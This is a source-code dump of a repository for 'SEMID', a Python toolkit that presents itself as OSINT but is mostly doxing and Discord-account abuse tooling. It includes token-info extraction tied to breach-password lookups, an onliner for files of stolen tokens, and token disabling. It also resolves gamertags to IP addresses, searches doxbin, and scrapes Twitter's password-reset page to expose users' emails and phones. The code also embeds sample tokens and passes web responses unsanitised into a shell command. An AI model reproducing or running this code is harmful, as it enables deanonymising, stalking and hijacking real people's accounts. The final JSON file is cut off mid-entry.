├── .gitignore ├── README.md ├── config.json ├── requirements.txt └── semid ├── __init__.py ├── __main__.py ├── app ├── __init__.py ├── app.py └── argapp.py ├── modules ├── __init__.py ├── discord.py ├── doxbin.py ├── github.py ├── playstation.py ├── socials.py ├── tiktok.py └── twitter.py ├── socials.json └── util ├── __init__.py ├── console.py ├── modules.py ├── search.py └── token.py /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | yes.json 3 | res.html 4 | test.py 5 | Databases/ 6 | api.js 7 | package.json 8 | package-lock.json 9 | node_modules/ 10 | messages.txt 11 | curl/ 12 | a.exe 13 | tool.c -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SEMID Framework # 2 | # CURRENTLY STOPPED WORKING ON THE PROJECT. A LOT OF FEATURES WILL NOT WORK ANYMORE BECAUSE OF CONSTANT MODULE AND SITE UPDATES. 3 | # I MIGHT REMAKE THE WHOLE PROJECT AS THE CODE IS A MESS AS WELL IN THE FUTURE 4 | 5 | ## About ## 6 | 7 | Semid is a framework with different Discord functions and OSINT modules.\ 8 | Currently this is still a work in development, but modules are still being added 9 | 10 | ## Installation ## 11 | 12 | ```bash 13 | git clone https://github.com/Himatric/Semid 14 | 15 | cd Semid 16 | 17 | pip install -r requirements.txt 18 | ``` 19 | ## Usage ## 20 | 21 | ``` 22 | python -m semid 23 | 24 | $ help 25 | 26 | SEMID HELP MENU 27 | CommandName Args Kwargs Description 28 | 29 | use Module::Function Function Arguments Use a built in function 30 | 31 | modules Lists all availabe modules 32 | 33 | cls Clears the console. 34 | 35 | help Shows this menu. 36 | 37 | $ use github::search -u Himatric 38 | 39 | | Username: Himatric 40 | | Name: Hima 41 | | Bio: i code or something 42 | | Email: None 43 | | Twitter: None 44 | | Location: None 45 | 46 | ``` 47 | 48 | ## Modules ## 49 | 50 | ``` 51 | => modules 52 | 53 | SEMID ALL MODULES 54 | Module Name Function Name Description 55 | 56 | tiktok search Searches through a users tiktok profile 57 | and through all their videos for information 58 | such as discord tag, email and phone number. 59 | 60 | socials search Searches for a users social media by the 61 | username provided. Currently only looks 62 | for linktree, but will be updated shortly 63 | 64 | playstation searchusername Sends a request to PS Resolver's api 65 | which returns an IP Address if found 66 | 67 | playstation searchip Sends a request to PS Resolver's api and 68 | gets Username if one is found. 69 | 70 | discord tokeninfo Gets all information about the token by 71 | sending requests to the discord api. 72 | 73 | discord tokenonliner Makes all the tokens from a provided file 74 | online by connecting them directly to 75 | Discord's websocket. 76 | 77 | discord scrapechannel Scrapes messages from a discord channel 78 | and outputs them in a file/console 79 | 80 | discord disabletoken Disables the given token by sending invalid 81 | requests to the discord api. 82 | 83 | doxbin search Searches provided username on doxbin and 84 | returns the urls if found. 85 | 86 | twitter search Scrapes twitter forgot password page and 87 | returns twitter account + email/phone if found. 88 | 89 | github search Sends a requests to the github api with given 90 | username, and returns all info about the account. 91 | ``` 92 | 93 | ## Needed ## 94 | 95 | DM me if you have any leaks with discord ids. 96 | 97 | 98 | ## Notes ## 99 | 100 | 101 | #### Currently only tested with python 3.8.9 #### 102 | -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "WeLeakInfo": "", 3 | "Token": "", 4 | "__Note": "Token not needed yet.", 5 | "version": "BETA" 6 | } -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama 2 | requests 3 | beautifulsoup4 4 | fake_headers 5 | websocket-client 6 | cfscrape -------------------------------------------------------------------------------- /semid/__init__.py: -------------------------------------------------------------------------------- 1 | from semid.app import Semid 2 | from semid.app.argapp import SemidArgs 3 | from colorama import init 4 | import sys 5 | init() 6 | if len(sys.argv) < 2: 7 | __app__ = Semid() 8 | else: 9 | __app__ = SemidArgs() 10 | author = "Hima" 11 | date = "01/13/22" 12 | -------------------------------------------------------------------------------- /semid/__main__.py: -------------------------------------------------------------------------------- 1 | import sys,semid 2 | sys.argv.pop(0) 3 | if len(sys.argv) < 1: 4 | semid.__app__.start() 5 | else: 6 | semid.__app__.start(sys.argv) 7 | -------------------------------------------------------------------------------- /semid/app/__init__.py: -------------------------------------------------------------------------------- 1 | from .app import Semid 2 | from .argapp import * -------------------------------------------------------------------------------- /semid/app/app.py: -------------------------------------------------------------------------------- 1 | import os, sys, json 2 | from requests import get 3 | 4 | from semid.util.console import Console 5 | from semid.util.modules import Modules 6 | class Semid: 7 | def __init__(self) -> None: 8 | self.response = Console.green("\n$ ") 9 | self.version = "BETA" 10 | if os.name == "nt": 11 | os.system("cls") 12 | else: 13 | os.system("clear") 14 | self.show_banner() 15 | Console.set_title("""SEMID Framework | Made by Hima""") 16 | self.config = json.loads(open("config.json").read()) 17 | self.checkversion() 18 | def start(self): 19 | sys.stdout.write(self.response) 20 | sys.stdout.flush() 21 | what = input() 22 | self.handle(what) 23 | def handle(self, what:str): 24 | function = what.split(" ")[0] 25 | # self.check_function(function) 26 | if function == "use": 27 | try: 28 | module = what.split(" ")[1] 29 | function = module.split("::")[1] 30 | module = "semid.modules." + module.split("::")[0].replace("/", ".") 31 | except: 32 | self.wrong_module() 33 | self.start() 34 | try: 35 | args = " ".join(what.split(" ")[2:]) 36 | try: 37 | Modules.get_module_by_name(module, function)(args) 38 | return self.start() 39 | except Exception or TypeError or ValueError or KeyError: 40 | try: 41 | print(Modules.get_function_syntax(module, function)) 42 | return self.start() 43 | except: 44 | self.wrong_module() 45 | self.start() 46 | except IndexError: 47 | try: 48 | Modules.get_module_by_name(module, function)() 49 | return self.start() 50 | except Exception or TypeError or ValueError or KeyError: 51 | try: 52 | print(Modules.get_function_syntax(module, function)) 53 | except: 54 | self.wrong_module() 55 | return self.start() 56 | if function == "help": 57 | self.show_help() 58 | self.start() 59 | if function == "modules": 60 | Modules.list_modules() 61 | self.start() 62 | if function == "cls": 63 | if os.name == "nt": 64 | os.system("cls") 65 | else: 66 | os.system("clear") 67 | self.start() 68 | else: 69 | self.wrong_module() 70 | self.start() 71 | def show_banner(self): 72 | banner = """Welcome to SEMID! 73 | SEMID is yet another OSINT framework. 74 | Although it does have a lot of functions for Discord. 75 | Currently SEMID is still under heavy development. 76 | Try typing help to see what you can do. 77 | 78 | """ 79 | sys.stdout.write(Console.color(Console.center(banner))) 80 | def checkversion(self): 81 | res = json.loads(get("https://raw.githubusercontent.com/Himatric/SEMID/master/config.json").text) 82 | if res["version"] != self.version: 83 | print("\n" + Console.red("You are not using the latest version of SEMID.")) 84 | def show_help(self): 85 | text = """ 86 | SEMID HELP MENU 87 | CommandName Args Kwargs Description 88 | 89 | use Module::Function Function Arguments Use a built in module. 90 | 91 | modules Lists all availabe modules. 92 | 93 | cls Clears the console. 94 | 95 | help Shows this menu. 96 | 97 | 98 | """ 99 | print(Console.color(text)) 100 | def wrong_module(self): 101 | text = """ERR: Invalid module""" 102 | return print(Console.red(Console.center(text))) 103 | def check_function(self, functio:str): 104 | found = False 105 | functions = ["search", "searchusername", "searchip", "tokeninfo", "tokenonliner", "search"] 106 | 107 | 108 | 109 | -------------------------------------------------------------------------------- /semid/app/argapp.py: -------------------------------------------------------------------------------- 1 | import os, argparse 2 | from semid.util.modules import Modules 3 | from semid.util.console import Console 4 | class SemidArgs: 5 | def __init__(self): 6 | self.version = 1.0 7 | def start(self, args:list): 8 | parser = argparse.ArgumentParser("SEMID") 9 | parser.add_argument("--module", "-m") 10 | parser.add_argument("--args", "-a") 11 | # parser.add_argument("--help", "-h", action="store_true", required=False) 12 | args = parser.parse_args(args=args) 13 | funcargs = args.args 14 | module = args.module 15 | # if args.help == True: 16 | # return self.show_help() 17 | if not module or module == "": 18 | return print(self.wrong_module()) 19 | else: 20 | try: 21 | mod = "semid.modules."+module.split("::")[0] 22 | func = module.split("::")[1] 23 | try: 24 | return Modules.get_module_by_name(mod, func)(funcargs) 25 | except: 26 | try: 27 | return Modules.get_function_syntax(mod, func) 28 | except: 29 | return print(self.wrong_module()) 30 | except: 31 | return print(self.wrong_module()) 32 | 33 | 34 | def wrong_module(): 35 | print(Console.red("Not a valid module")) 36 | def show_help(): 37 | text = """ 38 | SEMID HELP MENU 39 | CommandName Args Kwargs Description 40 | 41 | use Module::Function Function Arguments Use a built in module. 42 | 43 | modules / / Lists all availabe modules. 44 | 45 | cls / / Clears the console. 46 | 47 | help / / Shows this menu. 48 | 49 | 50 | """ 51 | print(Console.color(text)) 52 | 53 | -------------------------------------------------------------------------------- /semid/modules/__init__.py: -------------------------------------------------------------------------------- 1 | from .discord import * 2 | from .playstation import * 3 | from .doxbin import * 4 | from .tiktok import * 5 | from .twitter import * 6 | from .socials import * 7 | from .github import * 8 | -------------------------------------------------------------------------------- /semid/modules/discord.py: -------------------------------------------------------------------------------- 1 | from threading import Thread 2 | from fake_headers import Headers 3 | from semid.util.console import Console 4 | import semid 5 | from semid.util.token import TokenUtil 6 | import requests, json, time, argparse 7 | from concurrent.futures import ThreadPoolExecutor 8 | from websocket import WebSocket 9 | 10 | def tokeninfo(args:str): 11 | weleakinfo = semid.__app__.config["WeLeakInfo"] 12 | parser = argparse.ArgumentParser(prog="SEMID") 13 | parser.add_argument("--token", "-t", required=False) 14 | parser.add_argument("--weleak", "-w", required=False, action="store_true") 15 | argsArr = args.split() 16 | try: 17 | arg = parser.parse_args(argsArr) 18 | except: 19 | return TypeError 20 | token = arg.token 21 | TokenUtil.validateToken(token) 22 | headers = Headers(browser="chrome", os="windows", headers=True).generate() 23 | headers["Authorization"] = token 24 | headers["Accept-Encoding"] = "application/json" 25 | me = requests.get("https://discord.com/api/users/@me", headers=headers) 26 | me.raise_for_status() 27 | me = me.json() 28 | friends = requests.get("https://discord.com/api/users/@me/relationships", headers=headers) 29 | friends.raise_for_status() 30 | friends = friends.json() 31 | # connections = requests.get("https://discord.com/api/users/@me/connections", headers=headers) 32 | # connections.raise_for_status() 33 | # connections = connections.json() 34 | # billing = requests.get("https://discord.com/api/users/@me/billing/payment-sources", headers=headers) 35 | # billing.raise_for_status() 36 | # billing = billing.json() 37 | guilds = requests.get("https://discord.com/api/users/@me/guilds", headers=headers) 38 | guilds.raise_for_status() 39 | guilds = guilds.json() 40 | c = Console.red("|") 41 | nitro = "None" 42 | print(me) 43 | text = f"""{c} User: {me["username"]}#{me["discriminator"]} | {me["id"]} 44 | {c} Login: {me["email"]} 45 | {c} Phone: {me["phone"]} 46 | {c} Nitro: {nitro} 47 | {c} Friends: {str(len(friends))} , Rare Badge Friends: {str(len(TokenUtil.calcfriends(friends)))} 48 | {c} Guilds: {str(len(guilds))} 49 | {c} Connections: Working on it!"""#.join(f""" {c} {co["type"]} 50 | # {c} Name: {co["name"]} 51 | # {c} ID: {co["id"]}""" for co in connections) 52 | print(text) 53 | if weleakinfo != "" and arg.weleak == True: 54 | print(c + "Trying to get info from weleakinfo...") 55 | try: 56 | res = requests.get(f"https://api.weleakinfo.to/api?value={me['email']}&type=email&key={weleakinfo}").json() 57 | if res["success"] == True: 58 | for l in res["result"]: 59 | if l["email_only"] == 1: 60 | print(f"Found email: {l['line']}") 61 | else: 62 | print(f"Found password: {l['line']}") 63 | else: 64 | print("Nothing found.") 65 | except: 66 | print("Nothing found.") 67 | 68 | def tokeninfosyntax(): 69 | text = """ 70 | --token | -t 71 | --weleak | -w Searches found email on weleakinfo 72 | 73 | Example: use discord::tokeninfo --token -w""" 74 | return text 75 | def tokenonliner(args:str): 76 | weleakinfo = semid.__app__.config["WeLeakInfo"] 77 | parser = argparse.ArgumentParser(prog="SEMID") 78 | parser.add_argument("--file", "-f", required=False) 79 | parser.add_argument("--max", "-m", required=False, default=100) 80 | argsArr = args.split() 81 | try: 82 | arg = parser.parse_args(argsArr) 83 | except: 84 | raise TypeError 85 | file = arg.file 86 | max = arg.max 87 | ex = ThreadPoolExecutor(max_workers=int(max)) 88 | 89 | def online(token): 90 | print(token) 91 | ws = WebSocket() 92 | ws.connect("wss://gateway.discord.gg/?v=9&encoding=json") 93 | hb = json.loads(ws.recv()) 94 | interval = hb["d"]["heartbeat_interval"] 95 | useragent = Headers(browser="chrome", os="windows", headers=True).generate()["User-Agent"] 96 | ws.send(json.dumps({"op": 2,"d": {"presence": {"activities": [], 'afk': False, "since": 0, "status": "online"},"token": token,"properties": {"$os": "Windows_NT","$browser": useragent,"$device": "desktop"}}})) 97 | while True: 98 | time.sleep(interval/1000) 99 | try: 100 | ws.send(json.dumps({"op": 1,"d": None})) 101 | except Exception: 102 | break 103 | tokens = open(file).read().splitlines() 104 | i = 1 105 | for token in tokens: 106 | ex.submit(online, token) 107 | print(f'Connected {i} tokens') 108 | i += 1 109 | def tokenonlinersyntax(): 110 | text = """ 111 | --file | -f The Filepath of your tokens 112 | --max | -m The amount of tokens 113 | 114 | Example: use discord::tokenonliner -f tokens.txt -m 100""" 115 | return text 116 | def scrapechannel(args:str): 117 | parser = argparse.ArgumentParser("SEMID") 118 | parser.add_argument("--channelid", "-c", required=False) 119 | parser.add_argument("--limit", "-l", required=False) 120 | parser.add_argument("--file", "-f", required=False, default="messages.txt") 121 | parser.add_argument("--token", "-t", required=False) 122 | parser.add_argument("--thread", "-T", required=False, action="store_true", default=False) 123 | args = args.split() 124 | args = parser.parse_args(args) 125 | print(args) 126 | try: 127 | id = args.channelid 128 | limit = int(args.limit) 129 | except: 130 | raise TypeError 131 | if limit > 50: 132 | limit = 50 133 | try: 134 | token = args.token 135 | except: 136 | token = semid.__app__.config["Token"] 137 | if token == "" or token is None: 138 | return print("Please update your token in config.json!") 139 | TokenUtil.validateToken(token) 140 | if limit < 0: 141 | file = args.file 142 | messages = [] 143 | def write_messages(messages): 144 | print(Console.green("Done fetching messages")) 145 | with open(file, "w", encoding="utf-8") as f: 146 | for message in messages: 147 | f.write(message) 148 | 149 | def fetch(channel, token, before): 150 | url = f"https://discord.com/api/channels/{channel}/messages?limit=50" 151 | if before != 0: 152 | url += f"&before={before}" 153 | res = requests.get(url, headers={"authorization": token}) 154 | msgs = json.loads(res.text) 155 | if len(msgs) != 50: 156 | for message in msgs: 157 | content = '' 158 | if message["content"] == content and len(message["attachments"]) > 0: 159 | content = message["attachments"][0]["url"] 160 | messages.append('|| ' + message["author"]["username"] + '#' + message["author"]["discriminator"] + ' | ' + message["content"].replace("\n", " ") + content + '\n') 161 | write_messages(messages) 162 | else: 163 | for message in msgs: 164 | content = "" 165 | if message["content"] == content and len(message["attachments"]) > 0: 166 | content = message["attachments"][0]["url"] 167 | messages.append('|| '+ message["author"]["username"] + '#' + message["author"]["discriminator"] + ' | ' + message["content"].replace("\n", " ") + content + '\n') 168 | fetch(channel, token, msgs[49]["id"]) 169 | if args.thread == True: 170 | Thread(target=fetch, args=(id, token, 0)).start() 171 | else: 172 | fetch(id, token, 0) 173 | 174 | else: 175 | res = requests.get(f"https://discord.com/api/channels/{id}/messages?limit={limit}", headers=token) 176 | if res.status == 200: 177 | messages = json.loads(res.text) 178 | for message in messages: 179 | attachmenturl = "" 180 | if len(message["attachments"]) > 0: 181 | attachmenturl = message["attachments"][0]["url"] 182 | print(message["author"]["username"] + '#' + message["author"]["discriminator"] + ': ' + message["content"].replace("\n", " ") + attachmenturl) 183 | else: 184 | return print(Console.red("Invalid Token!")) 185 | 186 | 187 | def scrapechannelsyntax(): 188 | text = """ 189 | --channelid | -c 190 | --token | -t (if not included, will use token in config.json) 191 | --file | -f for output (not required) 192 | --limit | -l (1-50) or -1 for all messages 193 | --thread | -T run the function in another thread (so you can still do other things in the meantime) 194 | 195 | 196 | Example: discord::scrapechannel -c 934255362537275 -l -1 --thread""" 197 | return text 198 | 199 | 200 | def disabletoken(args:str): 201 | parser = argparse.ArgumentParser("SEMID") 202 | parser.add_argument("--token", "-t", required=False) 203 | args = args.split() 204 | args = parser.parse_args(args) 205 | try: 206 | token = args.token 207 | except: 208 | raise TypeError 209 | a = input("Are you sure you want to disable this token? [y/n]: ") 210 | if a.lower() == "y" or a.lower() == "yes": 211 | TokenUtil.disableToken(token) 212 | else: 213 | return 214 | def disabletokensyntax(): 215 | text = """ 216 | --token | -t 217 | 218 | Example: use discord::disabletoken NDIzNTQ0OTQ3Njg2MjQ0MzYy.Yegw_g.MpI6o6LXqKS1qqeqcKvfJUo7Gqd""" 219 | return text -------------------------------------------------------------------------------- /semid/modules/doxbin.py: -------------------------------------------------------------------------------- 1 | from semid.util.search import Google 2 | from semid.util.console import Console 3 | import argparse 4 | 5 | def search(args:str): 6 | parser = argparse.ArgumentParser("SEMID") 7 | parser.add_argument("--username", "-u", required=False) 8 | args = args.split() 9 | args = parser.parse_args(args) 10 | try: 11 | username = args.username 12 | except: 13 | raise TypeError 14 | search = Google.search(f'site:doxbin.com "{username}"', 0) 15 | if len(search) < 1: 16 | print("No search results") 17 | for url, title in search: 18 | print(f'{Console.red("|")} {url} - {title}') 19 | def searchsyntax(): 20 | text = """ 21 | --username | -u Searches name on doxbin and returns url 22 | 23 | Example: use doxbin::search -u kt""" 24 | return text -------------------------------------------------------------------------------- /semid/modules/github.py: -------------------------------------------------------------------------------- 1 | import argparse, requests, json, semid 2 | from semid.util.console import Console 3 | from semid.util.search import WeLeak 4 | def search(args:str): 5 | args = args.split() 6 | parser = argparse.ArgumentParser("SEMID") 7 | parser.add_argument("--username", "-u", required=False) 8 | parser.add_argument("--weleak", "-w", required=False, action="store_true") 9 | args = parser.parse_args(args) 10 | try: 11 | username = args.username 12 | except: 13 | raise TypeError 14 | res = requests.get(f'https://api.github.com/users/{username}') 15 | jso = json.loads(res.text) 16 | username = jso["login"] 17 | id = jso["id"] 18 | location = jso["location"] if jso["location"] else "None" 19 | email = jso["email"] if jso["email"] else "None" 20 | bio = jso["bio"] if jso["bio"] else "None" 21 | twitter = jso["twitter_username"] if jso["twitter_username"] else "None" 22 | name = jso["name"] 23 | a = Console.red("|") 24 | text = f""" 25 | {a} Username: {username} 26 | {a} Name: {name} 27 | {a} Bio: {bio} 28 | {a} Email: {email} 29 | {a} Twitter: {twitter} 30 | {a} Location: {location} 31 | """ 32 | if email != "None" and args.weleak == True and semid.__app__.config["WeLeak"] != "": 33 | weleak = WeLeak.search(email) 34 | text += weleak 35 | print(text) 36 | 37 | def searchsyntax(): 38 | text = """ 39 | --username | -u 40 | --weleak | -w Searches found email on weleakinfo (requirees api key in config.json)""" 41 | return text 42 | -------------------------------------------------------------------------------- /semid/modules/playstation.py: -------------------------------------------------------------------------------- 1 | import requests, os 2 | def searchusername(args:str): 3 | arrArgs = args.split(" ") 4 | try: 5 | nameindex = arrArgs.index("--username") 6 | except: 7 | try: 8 | nameindex = arrArgs.index("-u") 9 | except: 10 | raise TypeError 11 | name = arrArgs[nameindex + 1] 12 | url = f"https://api.playstationresolver.xyz/?ACTION=GAMERTAG_TO_IP&GAMERTAG={name}&JSON=True" 13 | res = requests.get(url) 14 | res.raise_for_status() 15 | os.system('echo {} | python -m json.tool | pygmentize -l javascript --json'.format(res.text.replace("\n", "").replace(" ", ""))) 16 | 17 | def searchusernamesyntax(): 18 | text= """ 19 | --username | -u 20 | 21 | Example: use playstation::searchusername -u SEMID""" 22 | return text 23 | 24 | def searchip(args:str): 25 | arrArgs = args.split(" ") 26 | try: 27 | nameindex = arrArgs.index("--ip") 28 | except: 29 | try: 30 | nameindex = arrArgs.index("-h") 31 | except: 32 | raise TypeError 33 | ip = arrArgs[nameindex + 1] 34 | url = f"https://api.playstationresolver.xyz?ACTION=IP_TO_GAMERTAG&IP_ADDRESS={ip}&JSON=true" 35 | res = requests.get(url) 36 | res.raise_for_status() 37 | os.system('echo {} | python -m json.tool | pygmentize -l javascript --json'.format(res.text.replace("\n", "").replace(" ", ""))) 38 | def searchipsyntax(): 39 | text= """ 40 | --ip | -h 41 | 42 | Example: use playstation::searchip -h 127.0.0.1""" 43 | return text -------------------------------------------------------------------------------- /semid/modules/socials.py: -------------------------------------------------------------------------------- 1 | from bs4 import BeautifulSoup as bs 2 | import requests, json, argparse 3 | import semid 4 | from semid.util.console import Console 5 | from semid.util.search import Google, WeLeak 6 | from fake_headers import Headers 7 | 8 | def search(what): 9 | parser = argparse.ArgumentParser("SEMID") 10 | parser.add_argument("--username","-u", required=False) 11 | parser.add_argument("--weleak", "-w", action="store_true", required=False) 12 | what = what.split() 13 | args = parser.parse_args(what) 14 | try: 15 | username:str = args.username 16 | except: 17 | print("a") 18 | raise TypeError() 19 | res = requests.get("https://linktr.ee/" + username) 20 | if res.status_code == 200: 21 | print("Linktree found!") 22 | soup = bs(res.text, "html.parser") 23 | socials = json.loads(soup.find("script", {"id": "__NEXT_DATA__"}).contents[0])["props"]["pageProps"]["account"]["socialLinks"] 24 | for s in socials: 25 | print(Console.color("Found: " + s["url"])) 26 | socials:list = json.loads(open("./semid/socials.json", "r").read()) 27 | for social in socials: 28 | headers = Headers("chrome").generate() 29 | res = requests.get(social["url"].replace("{name}", username), headers=headers) 30 | if social["type"] == "status" and res.status_code != social["status"]: 31 | print(Console.color("Found: " +social["url"].replace("{name}", username))) 32 | elif social["type"] == "message": 33 | msg = social["msg"] 34 | if msg not in res.text: 35 | print(Console.color("Found: " + social["url"].replace("{name}", username))) 36 | for url, title in Google.search(f'site:youtube.com "{username}"', 0): 37 | if "/channel/" in url and username.lower() in title.lower(): 38 | print(Console.color("Found: " + url)) 39 | elif "/channel/" in url: 40 | print(Console.green(f"Possible Connection: {url} - {title}")) 41 | for url, title in Google.search(f'site:twitter.com "{username}"', 0): 42 | if url.endswith(username.lower()): 43 | print(Console.color("Found: " + url)) 44 | for url, title in Google.search(f'site:namemc.com "{username}"', 0): 45 | if username.lower() in url and "/profile/" in url: 46 | print(Console.color("Found: " + url)) 47 | if args.weleak == True and semid.__app__.config["WeLeakInfo"] != "" and len(username) > 4: 48 | print(Console.color(WeLeak.search(username))) 49 | 50 | def searchsyntax(): 51 | text = """ 52 | --username | -u 53 | 54 | Example: use socials::search -u Xhemyd""" 55 | return text 56 | -------------------------------------------------------------------------------- /semid/modules/tiktok.py: -------------------------------------------------------------------------------- 1 | import requests, json, argparse, time 2 | from bs4 import BeautifulSoup 3 | from semid.util.console import Console 4 | from semid.util.search import Regex, WeLeak 5 | import semid 6 | def search(args:str): 7 | parser = argparse.ArgumentParser(prog="SEMID") 8 | parser.add_argument("--username", "-u", required=False) 9 | parser.add_argument("--weleak", "-w", required=False, action="store_true") 10 | argsArr = args.split() 11 | try: 12 | arg = parser.parse_args(argsArr) 13 | except: 14 | raise TypeError 15 | # try: 16 | # naInd = argsArr.index("--username") 17 | # except: 18 | # try: 19 | # naInd = argsArr.index("-u") 20 | # except: 21 | # raise TypeError 22 | username = arg.username 23 | base = "https://www.tiktok.com/@" 24 | res = requests.get(base + username) 25 | if res.status_code != 200: 26 | return print(Console.red("ERR! Invalid username!")) 27 | stringdata = "" 28 | soup = BeautifulSoup(res.text, "html.parser") 29 | soup2 = BeautifulSoup(res.text, "html.parser") 30 | bio = soup.find("h2", {'data-e2e': "user-bio"}).contents[0] 31 | stringdata += f'{bio};' 32 | alldata = json.loads(soup2.find("script", id="sigi-persisted-data").contents[0].split(";window['SIGI_RETRY'")[0].replace("window['SIGI_STATE']=", "")) 33 | del alldata["AppContext"] 34 | del alldata["SEO"] 35 | del alldata['SharingMeta'] 36 | del alldata["ItemList"] 37 | del alldata["I18n"] 38 | stats = False 39 | for z in alldata["ItemModule"]: 40 | video = alldata["ItemModule"][z] 41 | stringdata += video["desc"] +";" 42 | stickers = video["stickersOnItem"] 43 | for sticker in stickers: 44 | stringdata += sticker["stickerText"][0] 45 | for z in alldata["UserModule"]["stats"]: 46 | stats = alldata["UserModule"]["stats"][z] 47 | nickname = alldata["UserModule"]["users"][z]["nickname"] 48 | bio = alldata["UserModule"]["users"][z]["signature"] if alldata["UserModule"]["users"][z]["signature"] != "" else "None" 49 | try: 50 | link = alldata["UserModule"]["users"][z]["bioLink"]["link"] 51 | except: 52 | link = "None" 53 | c = Console.red("|") 54 | text = f"""{c} Username: {username} , Nickname: {nickname} 55 | {c} Bio: {bio} 56 | {c} Linked: {link} 57 | {c} Followers: {stats["followerCount"]} 58 | {c} Following: {stats["followingCount"]} 59 | {c} Likes: {stats["heart"]} 60 | {c} Videos: {stats["videoCount"]} 61 | """ 62 | searched = Regex.search(stringdata.replace("\n", "")) 63 | text += searched[0] 64 | if arg.weleak == True and semid.__app__.config["WeLeakInfo"] != "": 65 | emails = searched[1] 66 | for email in emails: 67 | text += WeLeak.search(email) 68 | time.sleep(0.5) 69 | return print(text) 70 | 71 | def searchsyntax(): 72 | text = """ 73 | --username | -u 74 | --weleak | -w searches found emails on WeLeakInfo (requires WeLeakInfo api key) 75 | 76 | Example: use tiktok::search -u tiktok""" 77 | return text -------------------------------------------------------------------------------- /semid/modules/twitter.py: -------------------------------------------------------------------------------- 1 | from fake_headers import Headers 2 | from urllib3.util.ssl_ import create_urllib3_context 3 | from bs4 import BeautifulSoup as bs 4 | from requests.adapters import HTTPAdapter 5 | from semid.util.console import Console 6 | import requests, json, argparse, cfscrape 7 | 8 | def search(args:str): 9 | parser = argparse.ArgumentParser("SEMID") 10 | parser.add_argument("--username", "-u", required=False) 11 | args = args.split() 12 | try: 13 | arg = parser.parse_args(args) 14 | except: 15 | raise TypeError 16 | username = arg.username 17 | url = "https://api.twitter.com/graphql/P8ph10GzBbdMqWZxulqCfA/UserByScreenName?variables={\"screen_name\":\"" + username + "\",\"withHighlightedLabel\":true}" 18 | headers = { 19 | "accept": "*/*", 20 | "accept-encoding": "gzip, deflate, br", 21 | "accept-language": "en-US,en;q=0.9,bn;q=0.8", 22 | 'authorization': 'Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs%3D1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA', 23 | "content-type": "application/json", 24 | "dnt": "1", 25 | 'origin': 'https://twitter.com', 26 | 'sec-fetch-dest': 'empty', 27 | 'sec-fetch-mode': 'cors', 28 | 'sec-fetch-site': 'same-site', 29 | 'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Mobile Safari/537.36', 30 | 'x-twitter-active-user': 'yes', 31 | 'x-twitter-client-language': 'en' 32 | } 33 | res = requests.get(url, headers=headers) 34 | resp = json.loads(res.text) 35 | try: 36 | if resp["data"]["user"]["id"] in resp: 37 | pass 38 | except: 39 | try: 40 | err = resp["errors"][0]["message"] 41 | if err == "Not found": 42 | return print(Console.red("User not found")) 43 | else: 44 | pass 45 | except: 46 | return print(Console.red("User not found")) 47 | 48 | bio = resp["data"]["user"]["legacy"]["description"] 49 | followers = resp["data"]["user"]["legacy"]["followers_count"] 50 | location = resp["data"]["user"]["legacy"]["location"] 51 | name = resp["data"]["user"]["legacy"]["name"] 52 | created = resp["data"]["user"]["legacy"]["created_at"] 53 | if location == '': 54 | location = 'Unknown' 55 | if bio == '': 56 | bio = 'Unknown' 57 | 58 | class CustomAdapter(HTTPAdapter): 59 | def init_poolmanager(self, *args, **kwargs): 60 | ctx = create_urllib3_context() 61 | super(CustomAdapter, self).init_poolmanager( 62 | *args, ssl_context=ctx, **kwargs 63 | ) 64 | try: 65 | url = 'https://twitter.com/account/begin_password_reset' 66 | header = Headers(browser='chrome', os='win', headers=True) 67 | scraper = cfscrape.create_scraper() 68 | scraper.mount('https://', CustomAdapter()) 69 | req = scraper.get(url, headers=header.generate()) 70 | soup = bs(req.text, 'html.parser') 71 | authenticity_token = soup.input.get('value') 72 | data = {'authenticity_token': authenticity_token, 'account_identifier': username} 73 | cookies = req.cookies 74 | response = scraper.post(url, cookies=cookies, data=data, headers=header.generate()) 75 | soup2 = bs(response.text, 'html.parser') 76 | 77 | try: 78 | if ( 79 | soup2.find('div', attrs={'class': 'is-errored'}).text 80 | == 'Please try again later.' 81 | ): 82 | print(Console.red("Rate limited.")) 83 | except: 84 | pass 85 | try: 86 | info = soup2.find('ul', attrs={'class': 'Form-radioList'}).findAll('strong') 87 | except: 88 | print('No email or phone') 89 | try: 90 | phone = int(info[0].text) 91 | email = str(info[1].text) 92 | except: 93 | email = str(info[0].text) 94 | phone = 'None' 95 | except: 96 | email = 'Rate Limit' 97 | phone = 'Rate Limit' 98 | c = Console.red("|") 99 | text = f""" 100 | {c} Username: {username} 101 | {c} Full name: {name} 102 | {c} Followers: {followers} 103 | {c} Location: {location} 104 | {c} Bio: {bio} 105 | {c} Created: {created} 106 | {c} Email: {email} 107 | {c} Phone: {phone} 108 | """ 109 | print(text) 110 | 111 | 112 | def searchsyntax(): 113 | text = """ 114 | --username | -u 115 | 116 | Example: use twitter::search -u twitter""" 117 | return text -------------------------------------------------------------------------------- /semid/socials.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "url": "https://myanimelist.net/profile/{name}", 4 | "name": "instagram", 5 | "type": "status", 6 | "status": 404 7 | }, 8 | { 9 | "url": "https://myspace.com/{name}", 10 | "name": "myspace", 11 | "type": "status", 12 | "status": 404 13 | }, 14 | { 15 | "url": "https://github.com/{name}", 16 | "name": "github", 17 | "type": "status", 18 | "status": 404 19 | }, 20 | { 21 | "url": "https://tiktok.com/@{name}", 22 | "name": "tiktok", 23 | "type":"status", 24 | "status": 404 25 | }, 26 | { 27 | "url": "https://euw.op.gg/summoner/userName={name}", 28 | "name": "euw.op.gg", 29 | "type": "message", 30 | "status": 200, 31 | "msg": "SummonerNotFoundLayout" 32 | }, 33 | { 34 | "url": "https://www.reddit.com/user/{name}", 35 | "name": "reddit", 36 | "type": "message", 37 | "status": 200, 38 | "msg": "Sorry, nobody on Reddit goes by that name." 39 | }, 40 | { 41 | "url": "https://osu.ppy.sh/users/{name}", 42 | "name": "osu", 43 | "type": 